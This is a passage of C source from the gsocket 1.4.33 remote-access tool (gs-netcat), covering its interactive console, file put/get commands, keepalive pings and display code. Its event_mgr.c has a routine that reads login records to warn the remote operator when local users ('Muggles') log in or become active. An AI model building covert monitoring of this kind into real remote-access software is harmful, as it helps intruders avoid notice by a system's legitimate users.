tty_write("\x1B[?25l\x1B""8", 6+2); // Restore cursor to upper tier
else
tty_write("\x1B""8", 2); // Restore cursor to upper tier
}
ssize_t sz;
sz = ansi_write(fd, data, len, &is_detected_clearscreen, &is_sb_detected);
// The write() to upper tier may have set some funky paste modes and
// screen-buffer modes. Track this (even if console is currently
// closed - because it may have been closed while in a screen-buffer).
if (is_cursor_in_console)
{
// DEBUGF_C("CURSOR-save\n");
tty_write("\x1B""7", 2); // Save new cursor position after writing to upper tier
}
// Now check if console needs to be re-drawn
if (is_sb_detected == 2)
{
// Switch to Alternate Screen Buffer detected
is_console_before_sb = gopt.is_console;
DEBUGF_W("saving is_console=%d\n", gopt.is_console);
}
// DEBUGF_G("cls = %d iscon-before = %d, iscon-now %d\n", is_detected_clearscreen, is_console_before_sb, gopt.is_console);
if (is_sb_detected == 3)
{
// Switched to Normal Screen Buffer detected
DEBUGF_W("saved-is-console=%d, is_console=%d\n", is_console_before_sb, gopt.is_console);
if (is_console_before_sb != gopt.is_console)
{
// Console has changed while operating on screen buffer
if (gopt.is_console == 0)
console_stop();
else
console_reset();
}
}
if (is_detected_clearscreen == 4)
{
DEBUGF_R("RESET of terminal detected.\n");
if (gopt.is_console)
console_reset();
}
// Now we can safely return (after we tracked the ansi codes).
if (gopt.is_console == 0)
return sz;
if ((is_detected_clearscreen) || (is_sb_detected))
console_draw(fd, 1 /*force*/);
if (is_cursor_in_console)
cursor_to_lt();
return sz;
}
/*
* Offer data to console for readline. If cursor is in console then
* we shall read those data in readline style.
*
* Return 1 if data was for console.
* Return 0 otherwise
*/
int
CONSOLE_readline(struct _peer *p, void *data, size_t len)
{
int fd = p->fd_out;
uint8_t *src = (uint8_t *)data;
uint8_t *s_end = src + len;
uint8_t key;
int rv;
int is_got_line = 0;
if (!(is_cursor_in_console))
return 0;
for (; src < s_end; src++)
{
rv = GS_RL_add(&rl, *src, &key, gopt.winsize.ws_row, 1 + GS_CONSOLE_PROMPT_LEN);
if (rl.esc_len > 0)
{
if (write(fd, rl.esc_data, rl.esc_len) != rl.esc_len)
ERREXIT("write()\n");
}
if (rv < 0)
{
// HERE: Special character (like UP/DOWN or ENTER)
if (key == '\n')
{
is_got_line = 1;
break;
} else if (key == 'A') {
DEBUGF_Y("UP\n");
GS_condis_up(&gs_condis);
CONSOLE_draw(gs_condis.fd);
} else if (key == 'B') {
GS_condis_down(&gs_condis);
CONSOLE_draw(gs_condis.fd);
}
// Unhandled control character (ignore for input)
continue;
}
}
if (is_got_line)
{
console_command(p, rl.line);
GS_RL_reset(&rl);
}
// DEBUGF("final line: '%s'\n", rl.line);
return 1;
}
/*
* Set up terminal to display console (e.g. scroll upper tier up
* and save cursor location of upper tier).
* Called when console starts or when change in screenbuffer is detected.
*/
static void
console_reset(void)
{
char buf[GS_CONSOLE_BUF_SIZE];
char *end = buf + sizeof (buf);
char *ptr = buf;
int row;
row = gopt.winsize.ws_row - GS_CONSOLE_ROWS;
int i;
// Scroll up i lines
for (i = 0; i < GS_CONSOLE_ROWS; i++)
SXPRINTF(ptr, end - ptr, "\x1B""D");
// Move cursor up. Then save cursor pos.
SXPRINTF(ptr, end - ptr, "\x1B[%dA\x1B""7", GS_CONSOLE_ROWS);
// Set scrolling area. Will set cursor to 1;1.
DEBUGF("Setting Scrolling area to %d\n", row);
SXPRINTF(ptr, end - ptr, "\x1b[1;%dr", row);
// Restore cursor to saved location
SXPRINTF(ptr, end - ptr, "\x1B""8");
tty_write(buf, ptr - buf);
}
static void
console_start(void)
{
console_reset();
gopt.is_console = 1;
cursor_to_lt(); // Start with cursor in console
}
/*
* configure terminal back to normal (no console)
*/
static void
console_stop(void)
{
char buf[GS_CONSOLE_BUF_SIZE];
char *end = buf + sizeof (buf);
char *ptr = buf;
// Clear console
SXPRINTF(ptr, end - ptr, "\x1B[%d;1f", gopt.winsize.ws_row - GS_CONSOLE_ROWS);
SXPRINTF(ptr, end - ptr, "\x1B[J");
// Reset scroll size
SXPRINTF(ptr, end - ptr, "\x1B[r");
// Upper Tier wants cursor OFF
if (ut_cursor == GS_UT_CURSOR_OFF)
SXPRINTF(ptr, end - ptr, "\x1B[?25l");
// Restore cursor to upper tier (shell)
SXPRINTF(ptr, end - ptr, "\x1B""8");
tty_write(buf, ptr - buf);
is_cursor_in_console = 0;
gopt.is_console = 0;
}
/*
* Equivalent to ssh's ~. quick exit.
*/
static int
hard_quit(void)
{
CONSOLE_reset();
stty_reset();
exit(0); // hard exit.
}
/*
* Process single action keys (e.g. CTRL+E + )
*/
int
CONSOLE_action(struct _peer *p, uint8_t key)
{
console_init(p->fd_out);
DEBUGF("\nConsole Key Action 0x%02x\n", key);
if (key == 'q')
hard_quit();
#ifdef DEBUG
if (key == 'l')
{
DEBUGF_B("redraw\n");
mk_statusbar();
console_draw(p->fd_out, 1);
}
#endif
if (key == 'c')
{
gopt.is_win_resized = 1; // Trigger: Send new window size to peer
gopt.is_want_ids_on = 1;
GS_SELECT_FD_SET_W(p->gs);
if (gopt.is_console == 1)
{
// Close console and restore cursor
console_stop();
return 0;
}
console_start();
GS_condis_pos(&gs_condis, (gopt.winsize.ws_row - GS_CONSOLE_ROWS) + 1 + 1, gopt.winsize.ws_col);
if (is_console_welcome_msg == 0)
{
GS_condis_add(&gs_condis, 0, "Press Ctrl-e + c to close this console or Ctrl-e + q to quit.");
GS_condis_add(&gs_condis, 0, "Press Ctrl-e + UP to leave the console.");
GS_condis_add(&gs_condis, 0, "Press Ctrl-e + DOWN to enter the console.");
GS_condis_add(&gs_condis, 0, "Use UP/DOWN to scroll through the console's log");
GS_condis_add(&gs_condis, 0, "Type 'help' for a list of commands.");
is_console_welcome_msg = 1;
}
// Draw console needed? Resizing remote will trigger a CLEAR (=> re-draw)
mk_statusbar();
console_draw(p->fd_out, 1);
}
return 0;
}
static void
cmd_help(int fd)
{
GS_condis_add(&gs_condis, 0, "quit - Quit | Ctrl-e q : quit | Ctrl-e c : toggle console");
GS_condis_add(&gs_condis, 0, "ping - RTT to peer | Ctrl-e UP: Go Up | Ctrl-e DN: Go Down");
GS_condis_add(&gs_condis, 0, "put - Upload file - Example: put /usr/./share/ma*");
GS_condis_add(&gs_condis, 0, "get - Download file - Example: get ~/*.[ch]");
GS_condis_add(&gs_condis, 0, "Other commands: lls, lcd, lmkdir, lpwd, pwd");
GS_condis_draw(&gs_condis, 1);
}
// Use wordexp(3) to resolve path name with ~/ and variable substitution
static int
path_resolve(const char *pattern, char *dst, size_t len)
{
wordexp_t p;
int ret;
if (len <= 0)
return -1;
dst[0] = '\0';
// On failure return 'pattern' as path
snprintf(dst, len, "%.*s", MAX(0, (int)len -1) , pattern);
signal(SIGCHLD, SIG_DFL);
ret = wordexp(pattern, &p, WRDE_NOCMD);
signal(SIGCHLD, SIG_IGN);
if (ret != 0)
{
DEBUGF_R("wordexp(%s) error: %d\n", pattern, ret);
return -1;
}
if (p.we_wordc <= 0)
{
wordfree(&p);
return -1;
}
snprintf(dst, len, "%s", p.we_wordv[0]);
wordfree(&p);
return 0;
}
static const char *
strip_space(const char *str)
{
while (*str == ' ')
str++;
return str;
}
// Output single file information
static void
cmd_lls_file(const char *name)
{
struct stat sr;
if (stat(name, &sr) != 0)
{
// ERROR
GS_condis_printf(&gs_condis, GS_PKT_APP_LOG_TYPE_DEFAULT, "%s: %s", strerror(errno), name);
return;
}
#ifdef __APPLE__
struct timespec ts = sr.st_mtimespec;
#else
struct timespec ts = sr.st_mtim;
#endif
struct tm tm;
localtime_r(&ts.tv_sec, &tm);
// MS-DOS style output (oldskewl)
char tmstr[32];
strftime(tmstr, sizeof tmstr, "%Y-%m-%d %H:%M", &tm);
const char *typestr = "<\?\?\?>";
if (S_ISDIR(sr.st_mode))
typestr = "";
else if (S_ISLNK(sr.st_mode))
typestr = "";
else if (S_ISFIFO(sr.st_mode))
typestr = "";
else if (S_ISBLK(sr.st_mode))
typestr = "";
else if (S_ISCHR(sr.st_mode))
typestr = "";
else if (S_ISREG(sr.st_mode))
typestr = "";
GS_condis_printf(&gs_condis, GS_PKT_APP_LOG_TYPE_DEFAULT, "%16s %5.5s %' 16"PRId64" %s", tmstr, typestr, (int64_t)sr.st_size, name);
}
// List local files.
static void
cmd_lls_single(const char *exp)
{
wordexp_t p;
char **w;
DIR *d = NULL;
char buf[GS_PATH_MAX];
int ret;
signal(SIGCHLD, SIG_DFL);
ret = wordexp(exp, &p, 0);
signal(SIGCHLD, SIG_IGN);
if (ret != 0)
return; // error (0 found)
setlocale(LC_NUMERIC, ""); // for printf("'%d" thausand separator
w = p.we_wordv;
// If there is only ONE result and that result is a DIRECTORY then output the content
// of that directory instead. (e.g. 'ls .' or 'ls /tmp')
struct stat sr;
if ((p.we_wordc == 1) && (stat(w[0], &sr) == 0) && S_ISDIR(sr.st_mode))
{
// Opendir etc..
d = opendir(w[0]);
if (d == NULL)
{
// ERROR
GS_condis_printf(&gs_condis, GS_PKT_APP_LOG_TYPE_DEFAULT, "%s: %s", strerror(errno), w[0]);
goto err;
}
struct dirent *entry;
for (entry = readdir(d); entry != NULL; entry = readdir(d))
{
if (memcmp(w[0], ".\0", 2) == 0)
snprintf(buf, sizeof buf, "%s", entry->d_name);
else
snprintf(buf, sizeof buf, "%s/%s", w[0], entry->d_name);
cmd_lls_file(buf);
}
} else {
int i;
for (i = 0; i < p.we_wordc; i++)
cmd_lls_file(w[i]);
}
err:
if (d != NULL)
closedir(d);
wordfree(&p);
}
static void
cmd_lls(const char *str)
{
char *orig = strdup(str);
char *next;
char *name = orig;
while (name != NULL)
{
next = strchr(name, ' ');
if (next != NULL)
{
*next = '\0';
next += 1;
}
cmd_lls_single(name);
name = next;
}
XFREE(orig);
}
static int
console_command(struct _peer *p, const char *cmd)
{
int fd = p->fd_out;
char buf[GS_CONSOLE_BUF_SIZE];
char path[GS_PATH_MAX + 1];
char *end = buf + sizeof (buf);
char *ptr;
const char *arg;
if (strlen(cmd) <= 0)
return 0;
if (memcmp(cmd, "help", 4) == 0)
{
cmd_help(fd);
} else if (memcmp(cmd, "ping", 4) == 0) {
cmd_ping(p);
} else if (memcmp(cmd, "quit", 4) == 0) {
hard_quit();
} else if (memcmp(cmd, "pwd", 3) == 0) {
cmd_pwd(p);
} else if (memcmp(cmd, "clear", 5) == 0) {
GS_condis_clear(&gs_condis);
GS_condis_draw(&gs_condis, 1);
} else if (memcmp(cmd, "put ", 4) == 0) {
GS_FT_put(&p->ft, cmd+4);
GS_SELECT_FD_SET_W(p->gs);
} else if (memcmp(cmd, "get ", 4) == 0) {
GS_FT_get(&p->ft, cmd+4);
GS_SELECT_FD_SET_W(p->gs);
} else if (memcmp(cmd, "xaitax", 6) == 0) {
GS_condis_add(&gs_condis, GS_PKT_APP_LOG_TYPE_DEFAULT, "Thanks xaitax for testing!");
GS_condis_draw(&gs_condis, 1);
} else if (strncmp(cmd, "lpwd", 4) == 0) {
char *cwd = getcwdx();
GS_condis_add(&gs_condis, GS_PKT_APP_LOG_TYPE_DEFAULT, cwd);
XFREE(cwd);
GS_condis_draw(&gs_condis, 1);
} else if (strncmp(cmd, "lcd ", 4) == 0) {
arg = strip_space(cmd + 4);
path_resolve(arg, path, sizeof path);
if (chdir(path) != 0)
GS_condis_printf(&gs_condis, GS_PKT_APP_LOG_TYPE_DEFAULT, "%s: %.512s", strerror(errno), path);
else {
char *cwd = getcwdx();
GS_condis_printf(&gs_condis, GS_PKT_APP_LOG_TYPE_DEFAULT, "%s", cwd);
XFREE(cwd);
}
GS_condis_draw(&gs_condis, 1);
} else if (strncmp(cmd, "lmkdir ", 7) == 0) {
arg = strip_space(cmd + 7);
if (mkdir(arg, 0777) != 0)
{
GS_condis_printf(&gs_condis, GS_PKT_APP_LOG_TYPE_DEFAULT, "%s: %.512s", strerror(errno), arg);
GS_condis_draw(&gs_condis, 1);
}
} else if (strncmp(cmd, "lls", 3) == 0) {
arg = strip_space(cmd + 3);
if (*arg == 0)
arg = "."; // 'lls' should be 'lls .' (current directory)
cmd_lls(arg);
GS_condis_draw(&gs_condis, 1);
} else {
GS_condis_printf(&gs_condis, 0, "Command not known: '%s'", cmd);
GS_condis_draw(&gs_condis, 1);
}
ptr = buf;
SXPRINTF(ptr, end - ptr, "\x1B[%d;%zuf\x1B[K", gopt.winsize.ws_row, 1 + GS_CONSOLE_PROMPT_LEN);
tty_write(buf, ptr - buf);
return 0;
}
gsocket-1.4.33/tools/console.h 0000664 0000000 0000000 00000002066 14072625040 0016220 0 ustar 00root root 0000000 0000000 #ifndef __GST_CONSOLE_H__
#define __GST_CONSOLE_H__ 1
// #define GS_CONSOLE_ESC 0x1d // ctrl-] (^])
// #define GS_CONSOLE_ESC_CHR ']'
// #define GS_CONSOLE_ESC_STR "^]"
// #define GS_CONSOLE_ESC 0x02 // ctrl-b (^B)
// #define GS_CONSOLE_ESC_CHR 'B'
// #define GS_CONSOLE_ESC_STR "^B"
#define GS_CONSOLE_ESC 0x05 // ctrl-E (^E)
#define GS_CONSOLE_ESC_CHR 'E'
#define GS_CONSOLE_ESC_LCHR 'e'
#define GS_CONSOLE_ESC_STR "^E"
#define GS_CONSOLE_ROWS (8) // Status-bar + Display + Prompt
ssize_t CONSOLE_write(int fd, void *data, size_t len);
int CONSOLE_check_esc(uint8_t c, uint8_t *submit);
int CONSOLE_action(struct _peer *p, uint8_t key);
int CONSOLE_command(struct _peer *p, const char *cmd);
void CONSOLE_reset(void);
void CONSOLE_resize(struct _peer *p);
int CONSOLE_readline(struct _peer *p, void *data, size_t len);
void CONSOLE_draw(int fd);
void CONSOLE_update_pinginfo(struct _peer *p, float ms, int load, char *active_user, int sec_idle, uint8_t n_users);
void CONSOLE_update_bps(struct _peer *p);
#endif /* !__GST_CONSOLE_H__ */
gsocket-1.4.33/tools/console_display-test.c 0000664 0000000 0000000 00000003333 14072625040 0020713 0 ustar 00root root 0000000 0000000
/*
* Test programm to test the console display sub-system. Needed by GS-NETCAT.
*
* clear; stty -echo -icanon && ./console_display-test 2>x.log; stty echo icanon
*
* Use A for UP, Z for DOWN and ENTER for new line. R to redraw. Any other key to quit
*/
#include "common.h"
#include "pkt_mgr.h"
#include "utils.h"
#include "console_display.h"
GS_CONDIS cd;
int
main(int argc, char *argv[])
{
char buf[1024];
GS_library_init(stderr, stderr, NULL);
gopt.err_fp = stderr;
gopt.log_fp = stderr;
srand(time(NULL));
DEBUGF("mark\n");
GS_condis_init(&cd, 1, 3);
DEBUGF("mark\n");
GS_condis_pos(&cd, 25-3+1, 80);
// snprintf(buf, sizeof buf, "*2 Hello 1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890");
// GS_condis_add(1, buf);
int i = 0;
while (1)
{
snprintf(buf, sizeof buf, "%d 1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890", i);
GS_condis_add(&cd, rand() % (GS_PKT_APP_LOG_TYPE_MAX + 1), buf);
GS_condis_draw(&cd, 0);
usleep(100 * 1000);
i++;
if (i > 16)
break;
}
uint8_t c;
int rv;
while (1)
{
rv = read(0, &c, 1);
if (rv != 1)
break;
switch (c)
{
case 'c':
GS_condis_clear(&cd);
GS_condis_draw(&cd, 0);
case 'a': // scroll UP
GS_condis_up(&cd);
GS_condis_draw(&cd, 0);
break;
case 'b': // scroll DOWN
case 'z':
GS_condis_down(&cd);
GS_condis_draw(&cd, 0);
break;
case 'r':
GS_condis_draw(&cd, 1 /*force*/);
break;
case '\n':
snprintf(buf, sizeof buf, "%d another new line", i++);
GS_condis_add(&cd, rand() % (GS_PKT_APP_LOG_TYPE_MAX + 1), buf);
GS_condis_draw(&cd, 0);
break;
case 'q':
default:
exit(0);
}
}
return 0;
}
gsocket-1.4.33/tools/console_display.c 0000664 0000000 0000000 00000011341 14072625040 0017734 0 ustar 00root root 0000000 0000000 /*
* Used by GS-NETCAT.
*
* Console Display is a display area for log messages and other messages.
* Normally 3 rows and with a history (to scroll up/down).
*
* This is where log messages are being displayed.
*/
#include "common.h"
#include "console_display.h"
#include "pkt_mgr.h"
#include "utils.h"
int
GS_condis_init(GS_CONDIS *cd, int fd, int rows)
{
memset(cd, 0, sizeof *cd);
cd->rows = rows;
cd->fd = fd;
cd->y = 25 - rows;
cd->max_char = 80;
cd->pos_display = (cd->pos_add + CONDIS_MAX_HISTORY - cd->rows) % CONDIS_MAX_HISTORY;
return 0;
}
void
GS_condis_clear(GS_CONDIS *cd)
{
cd->entries = 0;
cd->pos_add = 0;
cd->pos_display = (cd->pos_add + CONDIS_MAX_HISTORY - cd->rows) % CONDIS_MAX_HISTORY;
cd->is_redraw_needed = 1;
}
void
GS_condis_add(GS_CONDIS *cd, int level, const char *str)
{
size_t len;
struct condis_line *cdl = &cd->cdl[cd->pos_add];
DEBUGF("%s\n", str);
len = MIN(sizeof cdl->line - 1, strlen(str));
memcpy(cdl->line, str, len);
cdl->line[len] = 0x00;
switch (level)
{
case GS_PKT_APP_LOG_TYPE_ALERT:
cdl->color_str = "\x1B[31;1m"; // BRIGHT RED
break;
case GS_PKT_APP_LOG_TYPE_NOTICE:
cdl->color_str = "\x1B[0m\x1B[33m"; // Reset brightness. Yellow
break;
case GS_PKT_APP_LOG_TYPE_INFO:
cdl->color_str = "\x1B[0m\x1B[32m"; // Reset brightness. green
break;
default:
cdl->color_str = NULL; // default color
break;
}
cd->pos_add = (cd->pos_add + 1) % CONDIS_MAX_HISTORY;
cd->pos_display = (cd->pos_add + CONDIS_MAX_HISTORY - cd->rows) % CONDIS_MAX_HISTORY;
cd->entries = MIN(CONDIS_MAX_HISTORY, cd->entries + 1);
cd->is_redraw_needed = 1;
}
void
GS_condis_printf(GS_CONDIS *cd, int level, const char *fmt, ...)
{
va_list ap;
char buf[CONDIS_LINE_MAX_LEN];
va_start(ap, fmt);
vsnprintf(buf, sizeof buf, fmt, ap);
va_end(ap);
GS_condis_add(cd, level, buf);
}
// Add " " to console display.
void
GS_condis_log(GS_CONDIS *cd, int level, const char *str)
{
char buf[1024];
snprintf(buf, sizeof buf, "%s %s", GS_logtime(), str);
GS_condis_add(cd, level, buf);
}
/*
* Set the position and max line length.
* Normally called if the dispaly is resized.
*/
void
GS_condis_pos(GS_CONDIS *cd, int y, int max_char)
{
cd->y = y;
// Always have space for \0
cd->max_char = MIN(CONDIS_LINE_MAX_LEN - 1, max_char);
cd->is_redraw_needed = 1;
}
void
GS_condis_up(GS_CONDIS *cd)
{
int apos = cd->pos_add;
int dpos = cd->pos_display;
if (dpos >= apos)
apos += CONDIS_MAX_HISTORY;
// Here: apos is larger
if (dpos == apos)
return; // Cant scroll any further. Out of buffer.
if (cd->entries <= cd->rows)
return; // Not enough entries to scroll.
int max_scroll;
int scroll;
max_scroll = cd->entries - (apos - dpos);
scroll = MIN(cd->rows, max_scroll);
cd->pos_display = (dpos + CONDIS_MAX_HISTORY - scroll) % CONDIS_MAX_HISTORY;
cd->is_redraw_needed = 1;
}
void
GS_condis_down(GS_CONDIS *cd)
{
int apos = cd->pos_add;
int dpos = cd->pos_display;
if (dpos >= apos)
apos += CONDIS_MAX_HISTORY;
if (dpos + cd->rows >= apos)
return; // Cant scroll any further. Last entry
int scroll = MIN(cd->rows, apos - (dpos + cd->rows));
cd->pos_display = (dpos + scroll) % CONDIS_MAX_HISTORY;
cd->is_redraw_needed = 1;
}
static void
cd_write(int fd, void *buf, size_t len)
{
// Failed write() to stdout is fatal.
if (write(fd, buf, len) != len)
ERREXIT("write()\n");
}
/*
* Draw the console at position and with each string
* up to max_char length. Add '..' if string is longer...
*
* THIS WILL LEAVE THE CURSOR ASTRAY. Use CONSOLE_draw() to correct cursor position.
*/
void
GS_condis_draw(GS_CONDIS *cd, int force)
{
int pos = cd->pos_display;
if (force == 0)
{
if (cd->is_redraw_needed == 0)
return;
}
cd->is_redraw_needed = 0;
char buf[1024];
char *end = buf + sizeof (buf) - 1; // Space for \n
char *ptr = buf;
DEBUGF("Moving cursor to %d:1f\n", cd->y);
SXPRINTF(ptr, end - ptr, "\x1B[%d;1f", cd->y);
cd_write(cd->fd, buf, ptr - buf);
const char *last_color_str = NULL;
struct condis_line *cdl;
int i = 0;
for (i = 0; i < cd->rows; i++)
{
if (cd->rows - (i+1) < cd->entries)
{
cdl = &cd->cdl[pos];
ptr = buf;
if (last_color_str != cdl->color_str)
{
if (cdl->color_str == NULL)
SXPRINTF(ptr, end - ptr, "\x1B[0m");
else
SXPRINTF(ptr, end - ptr, "%s", cdl->color_str);
last_color_str = cdl->color_str;
}
SXPRINTF(ptr, MIN(end - ptr, cd->max_char + 1), "%s", cdl->line);
cd_write(cd->fd, buf, ptr - buf);
}
pos = (pos + 1) % CONDIS_MAX_HISTORY;
cd_write(cd->fd, "\x1B[K", 3); // Clear to end of line
if (i < cd->rows - 1)
cd_write(cd->fd, "\r\n", 2); // Add \n to all but last line
}
// Reset color if last color was not the default color
if (last_color_str != NULL)
cd_write(cd->fd, "\x1B[0m", 4);
}
gsocket-1.4.33/tools/console_display.h 0000664 0000000 0000000 00000002170 14072625040 0017741 0 ustar 00root root 0000000 0000000 #ifndef __CONSOLE_DISPLAY_H__
#define __CONSOLE_DISPLAY_H__ 1
#define CONDIS_LINE_MAX_LEN (125)
#define CONDIS_MAX_HISTORY (256)
struct condis_line
{
const char *color_str;
char line[CONDIS_LINE_MAX_LEN];
};
typedef struct
{
int fd;
struct condis_line cdl[CONDIS_MAX_HISTORY]; // Ring Buffer
int entries; // scrolling if less than MAX entries
int pos_add; // idx of next used entry
int pos_display;
int rows; // Number of rows. Normally 3
int y; // starting top ROW (y-cordinate).
int max_char; // Max displayeable characters. Normally 79.
int is_redraw_needed;
} GS_CONDIS;
int GS_condis_init(GS_CONDIS *cd, int fd, int rows);
void GS_condis_add(GS_CONDIS *cd, int color, const char *str);
void GS_condis_printf(GS_CONDIS *cd, int color, const char *fmt, ...);
void GS_condis_log(GS_CONDIS *cd, int color, const char *str);
void GS_condis_pos(GS_CONDIS *cd, int y, int maxlen);
void GS_condis_draw(GS_CONDIS *cd, int force);
void GS_condis_up(GS_CONDIS *cd);
void GS_condis_down(GS_CONDIS *cd);
void GS_condis_clear(GS_CONDIS *cd);
// enum condis_type = {}
#endif /* !__CONSOLE_DISPLAY_H__ */
gsocket-1.4.33/tools/event_mgr.c 0000664 0000000 0000000 00000005067 14072625040 0016543 0 ustar 00root root 0000000 0000000 /*
* Used by GS-NETCAT.
*
* Callback for event handler and manager for events
*/
#include "common.h"
#include "event_mgr.h"
#include "console.h"
#include "utils.h"
#include "pkt_mgr.h"
#include "ids.h"
/*
* When console is visible then send a ping more often. Otherwise
* only if there is no other network i/o for GS_APP_KEEPLIVE usec.
*/
int
cbe_ping(void *ptr)
{
GS_EVENT *event = (GS_EVENT *)ptr;
struct _peer *p = (struct _peer *)event->data;
if (gopt.is_console == 0)
{
// Return if data was transmitted recently
if (p->gs->ts_net_io + GS_APP_KEEPALIVE >= GS_TV_TO_USEC(&gopt.tv_now))
return 0;
}
cmd_ping(event->data);
return 0;
}
// CLIENT - Called every second
int
cbe_bps(void *ptr)
{
GS_EVENT *event = (GS_EVENT *)ptr;
// Calculate BPS
CONSOLE_update_bps((struct _peer *)event->data);
return 0;
}
// SERVER: add a log file to a peer
static void
add_log(struct _peer *p, GS_LIST *gsl, uint8_t log_type, const char *fmt)
{
GS_LIST_ITEM *li = NULL;
while (1)
{
li = GS_LIST_next(gsl, li);
if (li == NULL)
break;
struct _pkt_app_log *log = malloc(sizeof *log);
log->type = log_type;
snprintf((char *)log->msg, sizeof log->msg, fmt, (char *)li->data);
GS_LIST_add(&p->logs, NULL, log, GS_LIST_ID_COUNT(&p->logs));
}
if (gsl->n_items > 0)
{
p->is_pending_logs = 1;
GS_SELECT_FD_SET_W(p->gs);
}
}
// SERVER - Alert gs-user if Muggles are about. Also update
// least idle Muggle (ping will use this information).
int
cbe_ids(void *ptrNOTUSED)
{
struct _peer *p;
if (gopt.ids_peers.n_items == 0)
{
DEBUGF_R("No peer interested. Removing event IDS\n");
gopt.event_ids = NULL; // caller will free this. We
return -1;
}
// Check for IDS messages.
GS_LIST new_login;
GS_LIST new_active;
GS_LIST_init(&new_login, 0);
GS_LIST_init(&new_active, 0);
GS_IDS_utmp(&new_login, &new_active, &gopt.ids_active_user, &gopt.ids_idle, &gopt.n_users);
if (gopt.ids_idle < 15)
gopt.ids_idle = 0; // treat anything below 15 as fully active (0)
// DEBUGF_C("Least Idle: %s (%d)\n", gopt.ids_active_user, gopt.ids_idle);
// DEBUGF_W("Login: %d, active %d, Total %d\n", new_login.n_items, new_active.n_items, gopt.n_users);
/* Search through all peers that want IDS messages */
GS_LIST_ITEM *li = NULL;
while (1)
{
li = GS_LIST_next(&gopt.ids_peers, li);
if (li == NULL)
break;
p = (struct _peer *)li->data;
add_log(p, &new_login, GS_PKT_APP_LOG_TYPE_ALERT, "Login : %s");
add_log(p, &new_active, GS_PKT_APP_LOG_TYPE_ALERT, "Active: %s");
}
GS_LIST_del_all(&new_login, 0);
GS_LIST_del_all(&new_active, 0);
return 0;
}
gsocket-1.4.33/tools/event_mgr.h 0000664 0000000 0000000 00000001175 14072625040 0016544 0 ustar 00root root 0000000 0000000 #ifndef __GS_EVENT_MGR_H__
#define __GS_EVENT_MGR_H__ 1
#ifdef DEBUG
#define GS_APP_KEEPALIVE GS_SEC_TO_USEC(10) // If no activty send app-layer ping (-i needed)
#else
#define GS_APP_KEEPALIVE GS_SEC_TO_USEC(60 * 2) // If no activty send app-layer ping (-i needed)
#endif
#define GS_APP_PINGFREQ GS_SEC_TO_USEC(5) // Send a ping every 5 sec (-i, in console)
#define GS_APP_BPSFREQ GS_SEC_TO_USEC(1) // Calculate BPS every second
#define GS_APP_IDSFREQ GS_SEC_TO_USEC(5) // Check for other user active on system
int cbe_ping(void *ptr);
int cbe_bps(void *ptr);
int cbe_ids(void *ptr);
#endif /* !__GS_EVENT_MGR_H__ */ gsocket-1.4.33/tools/filetransfer-test.c 0000664 0000000 0000000 00000025117 14072625040 0020214 0 ustar 00root root 0000000 0000000 /*
* Test program to test gs filetransfer sub-system used by gs-netcat.
*
TESTING PUT
===========
mkdir -p test
rm -rf test/test*.dat
socat SYSTEM:'./filetransfer-test c test4k.dat test8k.dat 2>client.log' SYSTEM:'(cd test; ../filetransfer-test s 2>../server.log)'
rm -rf test
mkdir test
socat SYSTEM:'./filetransfer-test c /usr/share/man/./ 2>client.log' SYSTEM:'(cd test; ../filetransfer-test s 2>../server.log)'
echo Verifying...
(cd /usr/share/man/; find . -type f )| while read x; do [[ $(md5 -q test/$x) == $(md5 -q /usr/share/man/$x) ]] || { echo failed on $x; break; } done
TESTING GET
===========
mkdir -p test
rm -rf test/test*.dat
socat SYSTEM:'(cd test; set -f; ../filetransfer-test C test[14]k.dat test8k.dat 2>../client.log)' SYSTEM:'./filetransfer-test s 2>server.log'
echo Verifying...
for x in test4k.dat test8k.dat; do [[ $(md5 -q "./${x}" == $(md5 -q "test/${x}" ]] || { echo failed on $x; break; } done
*/
#include "common.h"
#include "filetransfer.h"
#include "utils.h"
#include "globbing.h"
#include "pkt_mgr.h" // For channel numbers
#define BUF_LEN (GS_PKT_MAX_SIZE)
static GS_PKT pkt;
static GS_FT ft;
static GS_BUF gsb;
static fd_set rfds, wfds;
// SERVER receiving PUT from client
static void
pkt_cb_put(uint8_t chn, const uint8_t *data, size_t len, void *argNOTUSED)
{
struct _gs_ft_put *p = (struct _gs_ft_put *)data;
struct _gs_ft_put hdr;
if (len < sizeof hdr + 1)
return; // protocol error
memcpy(&hdr, data, sizeof hdr);
GS_FT_add_file(&ft, ntohl(hdr.id), (char *)p->name, len - sizeof hdr - 1, ntohll(hdr.fsize), ntohl(hdr.mtime), ntohl(hdr.fperm), hdr.flags);
}
// SERVER receiving DL from client
static void
pkt_cb_dl(uint8_t chn, const uint8_t *data, size_t len, void *argNOTUSED)
{
struct _gs_ft_dl *d = (struct _gs_ft_dl *)data;
struct _gs_ft_dl hdr;
if (len < sizeof hdr + 1)
return; // protocol error
memcpy(&hdr, data, sizeof hdr);
GS_FT_dl_add_file(&ft, ntohl(hdr.id), (char *)d->name, len - sizeof hdr - 1, ntohll(hdr.offset));
}
// SERVER receiving a LIST request from client
static void
pkt_cb_listrequest(uint8_t chn, const uint8_t *data, size_t len, void *argNOTUSED)
{
DEBUGF_B("LIST-REQUEST received!\n");
struct _gs_ft_list_request *lr = (struct _gs_ft_list_request *)data;
struct _gs_ft_list_request hdr;
if (len < sizeof hdr + 1)
return; // protocol error
memcpy(&hdr, data, sizeof hdr);
GS_FT_list_add_files(&ft, ntohl(hdr.globbing_id), (char *)lr->pattern, len - sizeof hdr - 1);
}
// CLIENT receiving answer to LIST request
static void
pkt_cb_listreply(uint8_t chn, const uint8_t *data, size_t len, void *argNOTUSED)
{
// DEBUGF_B("LIST-REPLY received\n");
struct _gs_ft_list_reply *lr = (struct _gs_ft_list_reply *)data;
struct _gs_ft_list_reply hdr;
if (len < sizeof hdr + 1)
return;
memcpy(&hdr, data, sizeof hdr);
GS_FT_list_add(&ft, ntohl(hdr.globbing_id), (char *)lr->name, len - sizeof hdr - 1, ntohll(hdr.fsize), ntohl(hdr.mtime), ntohl(hdr.fperm), hdr.flags);
}
static void
pkt_cb_switch(uint8_t chn, const uint8_t *data, size_t len, void *argNOTUSED)
{
struct _gs_ft_switch hdr;
if (len < sizeof hdr)
return; // protocol error
memcpy(&hdr, data, sizeof hdr);
GS_FT_switch(&ft, ntohl(hdr.id), ntohll(hdr.offset));
}
/* SERVER receiving DATA from client */
static void
pkt_cb_data(uint8_t chn, const uint8_t *data, size_t len, void *argNOTUSED)
{
// DEBUGF("Data chn %d, len %zu\n", chn, len);
